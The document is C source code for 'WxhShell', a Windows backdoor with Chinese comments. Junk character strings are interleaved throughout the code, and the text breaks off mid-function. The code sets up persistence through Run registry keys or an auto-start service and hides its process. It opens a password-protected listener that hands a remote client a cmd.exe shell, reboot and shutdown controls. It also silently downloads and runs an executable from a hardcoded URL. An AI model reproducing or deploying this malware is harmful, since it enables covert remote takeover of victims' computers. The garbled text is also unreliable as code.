g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #%"G[B g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zk=,`sBC NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iwK.*07+ <gF]9%2E if (!NtQueryInformationProcess) return 0; k_7m[o ;7P'>j1?U hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )dkU4] if(!hProcess) return 0; VmqJMU>. +l7)7qKx if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l(Rn=? uyWheR CloseHandle(hProcess); [7vV#s3kJ Uj(0M;#%o+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 62sl6WWS3 if(hProcess==NULL) return 0; PQ4mNjXN AM}2=Ip HMODULE hMod; ;ek*2Lh char procName[255]; Y:!L unsigned long cbNeeded; X<%D@$ Oh! {E5!) if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [[$CtqLg ;:6\w!fc CloseHandle(hProcess); \V>5)Rn N{v)pu. if(strstr(procName,"services")) return 1; // 以服务启动 =LaEEL Ek L2nI return 0; // 注册表启动 ^p3GT6 } "W7|Xp `WayR^ 9 // 主模块 ab6I*DbF int StartWxhshell(LPSTR lpCmdLine) KnG7w^ { } k2Q SOCKET wsl; VfcIR( BOOL val=TRUE; v6*0@/L
M int port=0; MNu0t\`p4 struct sockaddr_in door; -uYxc=4Lh ;QBS0x\f@ if(wscfg.ws_autoins) Install(); : "85w#r s)E \ port=atoi(lpCmdLine); TDH^x1P O%EA,5U. if(port<=0) port=wscfg.ws_port; ["3dr@T9Z
^ }7O|Y7 WSADATA data; A8m06 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1 $&@wG fp [gKRSF if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4'O,xC setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?9~^QRLT door.sin_family = AF_INET; ?\o~P door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xq 135/d door.sin_port = htons(port); cwmS4^zt8 ME)Tx3d if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v #+ECx closesocket(wsl); tAv3+ return 1; I\mF dE } ,Wlt[T(.; /JR+WmO if(listen(wsl,2) == INVALID_SOCKET) { 5NhFjPETr closesocket(wsl); j*.;6}\o return 1; t /+;#- } cyl%p$ Wxhshell(wsl); ,';|CGI cP WSACleanup(); {+J{t\` 1=)M15 return 0; ZwUBeyxS=c ? "I %K% } Q4u.v,sE ?AyxRbk // 以NT服务方式启动 d>p' A_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kOydh(yE { r07u6OA DWORD status = 0; Xz^nm\ DWORD specificError = 0xfffffff; ^^b'tP1> 7a"06Et^ serviceStatus.dwServiceType = SERVICE_WIN32; V%8(zt serviceStatus.dwCurrentState = SERVICE_START_PENDING; mUg :<.^ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^%7( serviceStatus.dwWin32ExitCode = 0; ]rv\sD`[ serviceStatus.dwServiceSpecificExitCode = 0; wK(]E%\ serviceStatus.dwCheckPoint = 0;
r!Eh}0bL serviceStatus.dwWaitHint = 0; k6bct@7 X)3(.L hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JWb + if (hServiceStatusHandle==0) return; b G:\*1T p":u]Xgb status = GetLastError(); ;E.]:Ia~ if (status!=NO_ERROR) "6jt$-? { d,^O[9UWo serviceStatus.dwCurrentState = SERVICE_STOPPED; !UoA6C: serviceStatus.dwCheckPoint = 0; nm5DNpHk serviceStatus.dwWaitHint = 0; ;I4vPh5Q serviceStatus.dwWin32ExitCode = status; 5MnP6(3$ serviceStatus.dwServiceSpecificExitCode = specificError; Q a (Sb SetServiceStatus(hServiceStatusHandle, &serviceStatus); +?*;#=q return; cACIy yQ } KL_/f !yd B,S serviceStatus.dwCurrentState = SERVICE_RUNNING; R #wZW&N serviceStatus.dwCheckPoint = 0; ,j_js8r serviceStatus.dwWaitHint = 0; lx|Aw@C3~ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R%jOgZG } [D~] j}u L // 处理NT服务事件,比如:启动、停止 I-R7+o VOID WINAPI NTServiceHandler(DWORD fdwControl) -qP)L;n { <e UsMo< switch(fdwControl) MH.+pqIv^ { JR]2Ray case SERVICE_CONTROL_STOP: aF
2vgE\ serviceStatus.dwWin32ExitCode = 0; lx+;<la serviceStatus.dwCurrentState = SERVICE_STOPPED; H,%bKl# serviceStatus.dwCheckPoint = 0; FSM M serviceStatus.dwWaitHint = 0; Ph=NH8 { l2LQV]l SetServiceStatus(hServiceStatusHandle, &serviceStatus); E+ /Nicn= } FOG{dio return; x$d[Ovw- case SERVICE_CONTROL_PAUSE: h?xgOb!4 serviceStatus.dwCurrentState = SERVICE_PAUSED; bN_e~ z break; )k(K/m case SERVICE_CONTROL_CONTINUE: X~r9yl> serviceStatus.dwCurrentState = SERVICE_RUNNING; LA Crg break; )-4c@ case SERVICE_CONTROL_INTERROGATE: Xe_ <]| break; D)PX |xrn }; E*YmHJ:k SetServiceStatus(hServiceStatusHandle, &serviceStatus); B=cA$620 } }+!"mJx@ in1rDN%Vi // 标准应用程序主函数 D)-LZbPa int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HgY@M { "&={E{pQ 4;YP\{u // 获取操作系统版本 QGpj$ _b
OsIsNt=GetOsVer(); sOLh'x f. GetModuleFileName(NULL,ExeFile,MAX_PATH); 2_wpj;E )Eozo4~ // 从命令行安装 +Csb8 if(strpbrk(lpCmdLine,"iI")) Install(); -PPwX~;! Z,)H f // 下载执行文件 }eLApFHEDg if(wscfg.ws_downexe) { GKoYT{6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |XB<vj07G WinExec(wscfg.ws_filenam,SW_HIDE); ql@2<V{ } 'UX^] eX$KH;M if(!OsIsNt) { toY_1 // 如果时win9x,隐藏进程并且设置为注册表启动 V48_aL HideProc(); ?$/::uo StartWxhshell(lpCmdLine); qArR5OJ } gkmof^ else U;bx^2<m if(StartFromService()) N*A*\B%{x' // 以服务方式启动 VZqCFE3 StartServiceCtrlDispatcher(DispatchTable); :<aGZ\R5 else !}6'vq // 普通方式启动 gfggL&t( StartWxhshell(lpCmdLine); V(TtOuv I">"> return 0; .!4'Y} } hF-QbO KiXfR\S~C 4 ?BQ&d h{)m}"n<R =========================================== e`0C0GaP XNa{_3v q?LOtN? o 1`?o#w j&
7>ph Y^]n>X " t`6]eRR ;}Jv4Z #include <stdio.h> ~m fG
Yk" #include <string.h> Q9cSrU[$ #include <windows.h> ,[
2N3iH #include <winsock2.h> cpk\;1&t #include <winsvc.h> =Z.0-C>W #include <urlmon.h> ?eTZ>o.p/ 7Q!ksp #pragma comment (lib, "Ws2_32.lib") [7><^?t
V #pragma comment (lib, "urlmon.lib") diXWm-ZKL #f(a,,Uu' #define MAX_USER 100 // 最大客户端连接数 .M:&Aj)x16 #define BUF_SOCK 200 // sock buffer
(7X #define KEY_BUFF 255 // 输入 buffer QI[WXxp uT]$R #define REBOOT 0 // 重启 _EMXx4J #define SHUTDOWN 1 // 关机 ?Q_ @@) q# j[0,^ $ #define DEF_PORT 5000 // 监听端口 ?sHZeWZ( g}`g>&l5 #define REG_LEN 16 // 注册表键长度 q!W,2xqZoq #define SVC_LEN 80 // NT服务名长度 gbMA-r:IC Vn_&q6Pa // 从dll定义API f8-`bb typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #_ulmB; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ho(MO!( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \L>XF'o typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #eYYu2ND 6KGT?d // wxhshell配置信息 -|'@:cIZ struct WSCFG { -Jd7 int ws_port; // 监听端口 Z+V%~C1 char ws_passstr[REG_LEN]; // 口令 ox SSEs int ws_autoins; // 安装标记, 1=yes 0=no ^X_ ;ZLg. char ws_regname[REG_LEN]; // 注册表键名 OX.5olb char ws_svcname[REG_LEN]; // 服务名 kVLZdXn,q2 char ws_svcdisp[SVC_LEN]; // 服务显示名 N]yT/8 char ws_svcdesc[SVC_LEN]; // 服务描述信息 e_!h>=$%8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Jm ,:6T int ws_downexe; // 下载执行标记, 1=yes 0=no FTUfJIVN( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t!wbT79/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pOK=o$1V8 X(Af`KOg[ }; 6Zpa[,gm ot7f?tF2<J // default Wxhshell configuration to13&#o struct WSCFG wscfg={DEF_PORT, UZ/LR "xuhuanlingzhe", D*@'%<? 1, %x#S?GMV< "Wxhshell", SkV pZh "Wxhshell", O4`.ohAZ "WxhShell Service", Zs^zD;zU "Wrsky Windows CmdShell Service", Q=!QCDO( "Please Input Your Password: ", tV4yBe<`` 1, Eet/l]e#a "http://www.wrsky.com/wxhshell.exe", =0&XdxX "Wxhshell.exe" H.?`90IQ }; 4r;le5@ e|C2/U- // 消息定义模块 hcU^!mp char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CXn?~m&K char *msg_ws_prompt="\n\r? for help\n\r#>"; EE09 Er%\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X,@nD@ char *msg_ws_ext="\n\rExit."; @j\;9>I/ char *msg_ws_end="\n\rQuit."; 3^Is4H_8 char *msg_ws_boot="\n\rReboot..."; tY#&_%W char *msg_ws_poff="\n\rShutdown..."; u9:sj char *msg_ws_down="\n\rSave to "; R;AcAJ; euY+jc% char *msg_ws_err="\n\rErr!"; K:XXtG char *msg_ws_ok="\n\rOK!"; fBTNI`# &T-:`( char ExeFile[MAX_PATH]; "viZ"/~6 int nUser = 0; xe OfofC(l HANDLE handles[MAX_USER]; :M;|0w*b int OsIsNt; MuO(%.H j^/<:e c. SERVICE_STATUS serviceStatus; >WO;q SERVICE_STATUS_HANDLE hServiceStatusHandle; y-@`3hYM@ ^Zpz@T>m // 函数声明 $lB!Q8a$ int Install(void); mr[ 1F]G int Uninstall(void); VB^1wm int DownloadFile(char *sURL, SOCKET wsh); Bph(\=
W int Boot(int flag); rG-x 3>b void HideProc(void); bPV}T` int GetOsVer(void); e8SAjl"} int Wxhshell(SOCKET wsl); tZ) ,Z< void TalkWithClient(void *cs); DFfh!KKR$ int CmdShell(SOCKET sock); Dt5AG int StartFromService(void); aIT0t0. int StartWxhshell(LPSTR lpCmdLine); q8_E_s-U, p8]X Ne VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6I~M8Lo; VOID WINAPI NTServiceHandler( DWORD fdwControl ); NWwKp? X$%[%q8qg // 数据结构和表定义 Hj-n
'XZ SERVICE_TABLE_ENTRY DispatchTable[] = y[f%0*\B { U&^(%W# {wscfg.ws_svcname, NTServiceMain}, @0:Eg 1- {NULL, NULL} [C
ezz5 }; U0|wC,7" <_8eOL<X // 自我安装 1Xcj=I-4 int Install(void) Mj0jpP<uf { ?/3{gOgI$` char svExeFile[MAX_PATH]; {niV63$m HKEY key; 1.2qh"# strcpy(svExeFile,ExeFile); sNG 7fi.| O?#<kmd/) // 如果是win9x系统,修改注册表设为自启动 `j2|aX
%Z* if(!OsIsNt) { `,FA3boE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (<`>B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M;g"rpM RegCloseKey(key); )fuAdG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4,`t9f^: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j0cB#M44 RegCloseKey(key); FKtCUq,: return 0; CW@EQ3y0 } ;[C_ho } yqb$,$ } aB&a#^5CI else { gW G>}M@ \= 6dF,V // 如果是NT以上系统,安装为系统服务 oj6=. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )CH\]>-FO if (schSCManager!=0) ckdCd
J { dpdp0 SC_HANDLE schService = CreateService j%S}
T)pX ( mg3YKHNG schSCManager, ZV/g_i# wscfg.ws_svcname, 9-Qu5L~ wscfg.ws_svcdisp, H8Ra !FW@ SERVICE_ALL_ACCESS, IYr4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F6{Q1DqI SERVICE_AUTO_START, Np
opg1Gv> SERVICE_ERROR_NORMAL, z9Y}[pN svExeFile, :2t?0YR NULL, :y~l?0b&8 NULL, WD8F]+2O\ NULL, jTsQsHq NULL, Urm(A9|N NULL RLVz "= ); hs)_h^P
if (schService!=0) +nFC&~q { of_Om$ CloseServiceHandle(schService); ['c*<f"
D2 CloseServiceHandle(schSCManager); 7?Twhs.O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p1s&
y0:d strcat(svExeFile,wscfg.ws_svcname); od/Q"5t[p if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UnTvot6~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *]S&V'Di RegCloseKey(key); }1Hy[4B(k\ return 0; ~Ctq } I~M@v59C } F{17K$y CloseServiceHandle(schSCManager); X5)].[d } yEL5U{ } 2reQd47 t] G hONN return 1; bmRp)CYd } J.,7d , U)S!@2(4 // 自我卸载 >
8!9 int Uninstall(void) 7@!ne&8Z? { V?Ca[ HKEY key; ' '|R$9\@ [@/x
if(!OsIsNt) { =W'{xG} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y(6*)~Dh RegDeleteValue(key,wscfg.ws_regname); QL@}hw.F RegCloseKey(key); 8Vm)jnM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4V
5 RegDeleteValue(key,wscfg.ws_regname); -[A=\]RfJ RegCloseKey(key); x1.yi- return 0; <QRRD*\ } JW=P}h } g/z7_Aq/ } \4 hB1- else { G4K3qD#+H KZsJ_t++!W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?wj1t!83 if (schSCManager!=0) :}~B;s0M\ { [G}l; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k%sh;1. if (schService!=0) uRRp8hht { #7,;/rtO7 if(DeleteService(schService)!=0) { 8CGjI?j CloseServiceHandle(schService); |D[4G6& CloseServiceHandle(schSCManager); iJEKLv return 0; G+W0X } "D/\&1.& CloseServiceHandle(schService); sxn^1|O;m } /c52w"WW CloseServiceHandle(schSCManager); {b]V
e/\ } l 1Ns~ } !Im{-t r=^? return 1; J*r%b+ } \XgpwvO". %D<>F&h // 从指定url下载文件 {w VJv1*l int DownloadFile(char *sURL, SOCKET wsh) &/]g@^h9 { )p+6yH HRESULT hr; K Fn[ char seps[]= "/"; drf?7%v char *token; Z/[ww8b. char *file; @6z]Xb char myURL[MAX_PATH]; 6#Afj0 char myFILE[MAX_PATH]; {);<2]o| 6 ~e<h2/Xc strcpy(myURL,sURL); >_LZD4v!< token=strtok(myURL,seps); }SBpc{ch while(token!=NULL) rh 7%<xb> { ~{gV`nm=J file=token; +G?nmXG[vj token=strtok(NULL,seps); .0u@PcE:O } C:@JLZB HD{2nZT GetCurrentDirectory(MAX_PATH,myFILE); uO}UvMW strcat(myFILE, "\\"); ^,N=GZRWW strcat(myFILE, file); dG*2-v^G send(wsh,myFILE,strlen(myFILE),0); =?gDM[t^ send(wsh,"...",3,0); B|6_4ry0U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QwgP+ M+ if(hr==S_OK) 3!0~/8!f@ return 0; e?)ic\K else 6]5e(J{Fz return 1; YO`V'6\ o[E|xw } 6,UW5389 UU"' // 系统电源模块 7xy[; int Boot(int flag) 1;N5@0%p { E [b6k&A HANDLE hToken; l5esx#([*R TOKEN_PRIVILEGES tkp; iF'qaqHWY4 tg'2v/ if(OsIsNt) { `78)|a*R. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [5sa1$n96G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s'yT}XQ;r tkp.PrivilegeCount = 1; b1ma(8{{{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3"y,UtKGa AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ht=h9}x"g if(flag==REBOOT) { }D\i1/Y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~_Q1+ax} return 0; aX{i } g6~B|?! else { 'n4$dv%q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Rx%SeM2 return 0; ;<)<4N" } )$7-CNWr~ } Emx`+9 else { KBkS>0;X if(flag==REBOOT) { Cqc5jx0) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0mD=Rjb*a return 0; \zGmZZ } f?|cQ[#t!\ else { z*B-`i. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F>/"If# return 0; b'$fr6"O1 } p`2w\P3;) } $~FnBD%|{ ]'!$T72 return 1; N#zh$0!8bJ } TZYz`l+v l0-zu6iw // win9x进程隐藏模块 <b$.{&K void HideProc(void) }6!*H! { 40)Ti iX\]-_D HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Qy_! +q if ( hKernel != NULL ) S<bsrS*$ { {Jn*{5tZ> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vm
Y*K ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1NQstmd{ FreeLibrary(hKernel); JuTIP6
/G } Hm*?<o9mxC O[O[E}8# return; X4{O/G } *
j]"I=D 2GC{+* // 获取操作系统版本 9qXKHro int GetOsVer(void) nht?58 { 2~(\d\k OSVERSIONINFO winfo; [+4/M3J% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $++SF)G1]_ GetVersionEx(&winfo); uA~T.b\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HyKv5S$ return 1; [)S&PK else MWZH-aA(. return 0; yhJA{nL= } QssU\@/Q |\k,qVQ // 客户端句柄模块 g\q*,1
int Wxhshell(SOCKET wsl) PG*:3![2 { h}knn3"S SOCKET wsh; Q8> struct sockaddr_in client; T(2*P5%& DWORD myID; W_%@nm\y 3;Ztm$8 while(nUser<MAX_USER) 1b4/ { #9FY;~ int nSize=sizeof(client); NUp,In_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0AWOdd>. if(wsh==INVALID_SOCKET) return 1; rIJv(&l :j}4F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^DH*\ee if(handles[nUser]==0) t+<?$I[ closesocket(wsh); fNnX{Wq else @=G6fW: nUser++; GZCX m+ }
0V[`zOO(o WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #$;i 4a Y `ySNC return 0; E@%9u# } "s.]amC tX@G`Mr( // 关闭 socket R7Z7o4jg void CloseIt(SOCKET wsh) }I>h<O { b^q8s4( closesocket(wsh); i}E&mv' nUser--; 3Eu;_u_ ExitThread(0); $l+DkR+ } 3]cW08"c OuuN~yC // 客户端请求句柄 #[$zbZ(I>: void TalkWithClient(void *cs) q88;{?T1 { TQ&1!~L* '%y5Dh SOCKET wsh=(SOCKET)cs; Q$lgC
v^M char pwd[SVC_LEN]; <7R+p;y char cmd[KEY_BUFF]; ayK?\srw char chr[1]; q\]"}M8 int i,j; vn(ji= g;mX {p_@ while (nUser < MAX_USER) { A8oTcX_ o<Y[GW1pg if(wscfg.ws_passstr) { -lqsFaW if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {;-wXzv` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >^N{ //ZeroMemory(pwd,KEY_BUFF); rGIf/=G^r i=0; $z48~nu@j while(i<SVC_LEN) { TkyP_* %=[xc? // 设置超时 G%FLt[ fd_set FdRead; c%x9.s<+1 struct timeval TimeOut; 4157!w'\y FD_ZERO(&FdRead); U *K6FWqiB FD_SET(wsh,&FdRead); 6i`Y]\X~# TimeOut.tv_sec=8; >Sc/E}3 TimeOut.tv_usec=0; "%E<%g int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UEeq@ot/ 4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MR3\7D+9y Y6:b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \qZ>WCp>r pwd=chr[0]; J{qsCJiB if(chr[0]==0xd || chr[0]==0xa) { T:!f_mu| pwd=0; Sk7sxy<F' break; $/#F9>eZ } 2m{d> i++; -50Qy[0. " } sEzl4I k;V (rf` // 如果是非法用户,关闭 socket )1, U~+JFU if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WNo7`)Kx } R8bKE(*rxj 0i3Z7l] send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gr8%%]1!0 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,`,1s9\&t NE5H\ while(1) { U
ljWBd "[
#. ZeroMemory(cmd,KEY_BUFF); cJLAP%.L =Vat2'>+ // 自动支持客户端 telnet标准 /mG-g%gE j=0; u?7^+z while(j<KEY_BUFF) { G<M9 6V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vTsMq>%,< cmd[j]=chr[0]; Ou7nk:I@ if(chr[0]==0xa || chr[0]==0xd) { GFTOP%Tgl cmd[j]=0; 8Ao-m38 break; 6;Sz^W } Jt(RF*i j++; S8k<}5 } 9 .18E(- & N.]8x5A // 下载文件 7Q0vwKC8> if(strstr(cmd,"http://")) { ~+S,`8-P send(wsh,msg_ws_down,strlen(msg_ws_down),0); DI0Wk^ m if(DownloadFile(cmd,wsh)) Pe/8=+qO send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6lob&+ else ?M BOd9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AwtiV-w } sv)4e)1 else { LZ}m; p\22_m_wd switch(cmd[0]) { 5$ &',v( utU;M* // 帮助 5Zuk`%O case '?': { ^GnR1.ux send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IC:>60A,] break; uNf97*~_ } e7r3o,! // 安装 9c{T|+] case 'i': { 5;@2SY7, if(Install()) js;k,` send(wsh,msg_ws_err,strlen(msg_ws_err),0);
N<~LgH else 6%Pvh- ~_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hq
aay break; Ij2Th] } a"m-&mN // 卸载 ]jSRO30H3< case 'r': { j~Mx^ivwj if(Uninstall()) *:?XbtIK u send(wsh,msg_ws_err,strlen(msg_ws_err),0); `_e5pW=:> else 2$b JMx> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wGgeK,*_ break; a[jNT$8 } *nB-]
w/ // 显示 wxhshell 所在路径 "#P#;]\ ` case 'p': { !.{"Ttn;s char svExeFile[MAX_PATH]; 7QdboEa strcpy(svExeFile,"\n\r"); [&sabM`Ul strcat(svExeFile,ExeFile); Ys]cJ] send(wsh,svExeFile,strlen(svExeFile),0); -_BX\iP{ break; &2r[4 } +zf`_1+)U // 重启 %gu | case 'b': { rN'8,CV send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M>ntldV#g% if(Boot(REBOOT)) Q})&c.L send(wsh,msg_ws_err,strlen(msg_ws_err),0); QYps5zcn else { \Nj#1G closesocket(wsh); *^:s!F ExitThread(0); %wco)2 } e"|ZTg+U break; 3LZvlcLb } mhI // 关机 q;.LK8M case 'd': { 45H9pY w send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y/T-2)D if(Boot(SHUTDOWN))
@<koL send(wsh,msg_ws_err,strlen(msg_ws_err),0); \|C*b< else { T0N6k acl closesocket(wsh); q<[o 4qY ExitThread(0); b+$E*} } jB,VlL break; ko"xR%Q } (5e4>p&+ // 获取shell gF:|j( case 's': { M7{_"9X{ CmdShell(wsh); 8On MtP closesocket(wsh); ?8FJMFv;4% ExitThread(0); fo~>y break; '4}8WYKQ } k\Y*tY#2 // 退出 "sT)<Wc case 'x': { v >s,* send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4'"WD0 CloseIt(wsh); =R)w=ce break; Cx&l0ZXHEX } wQ8<%qi"L // 离开 [-Xah]g case 'q': { Sa@T#%oU send(wsh,msg_ws_end,strlen(msg_ws_end),0); t/@t_6m}* closesocket(wsh); i,rX.K}X WSACleanup(); +&G]\WX< exit(1); X6=o vm break; T^q^JOC4 } c4.2o<(Xt } {s{+MbD } vy-q<6T}:p sl:1P^b // 提示信息 :q~5Xw/ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VAA="yN } <fHN^O0TS } LtPaTe Hc-up.?v'v return; yq[.
WPve } lYmxd8 c]"w0a-`^@ // shell模块句柄 ;]k\F int CmdShell(SOCKET sock) (gIFuOGi> { ;*hVAxs1 STARTUPINFO si; )4N1EuD6 ZeroMemory(&si,sizeof(si)); ]|u7P{Z"R si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X^rFRk si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 53>(2 _/[r PROCESS_INFORMATION ProcessInfo; <d O~; char cmdline[]="cmd"; LI<Emez CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G8' return 0; 5s@xpWVot } sRZ?Ilua6 FL b // 自身启动模式 *S?'[PS]1 int StartFromService(void) u8gqWsvruM { ">MsV/ typedef struct t{,e{oZx { !?lvmq DWORD ExitStatus; M(I%QD DWORD PebBaseAddress; )G-u;1rd DWORD AffinityMask; ;@
G ^eQ DWORD BasePriority; egH,7f(yP ULONG UniqueProcessId; Y#+Ws0wN ULONG InheritedFromUniqueProcessId; uN1VkmtDO } PROCESS_BASIC_INFORMATION; y}?PyPz
^Vf@J PROCNTQSIP NtQueryInformationProcess; a^_W}gzzd 0|g@;Pc static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {`-AIlH( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hp5.F>- vy`
lfbX@ HANDLE hProcess; "H=N>=g0E PROCESS_BASIC_INFORMATION pbi; %Y,Ru)5} 8l'W[6 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PXML1.r$Q if(NULL == hInst ) return 0; Q
pIec\a+
+hX= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rjj_]1?K g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;-_ZWk] NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1/i1o nu} (xKypc+j if (!NtQueryInformationProcess) return 0; }^VikT]>1 \.>7w 1p hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zF|c3ap if(!hProcess) return 0; [XubzZ9 *rB@[(/ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A~X\ dcn 5z\,] CloseHandle(hProcess); F_I!qcEQ %Y"pVBc hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?uU_N$x if(hProcess==NULL) return 0; Jfo'iNOu f=.!/e70 HMODULE hMod; (F9e.QyWb char procName[255]; 6uKP
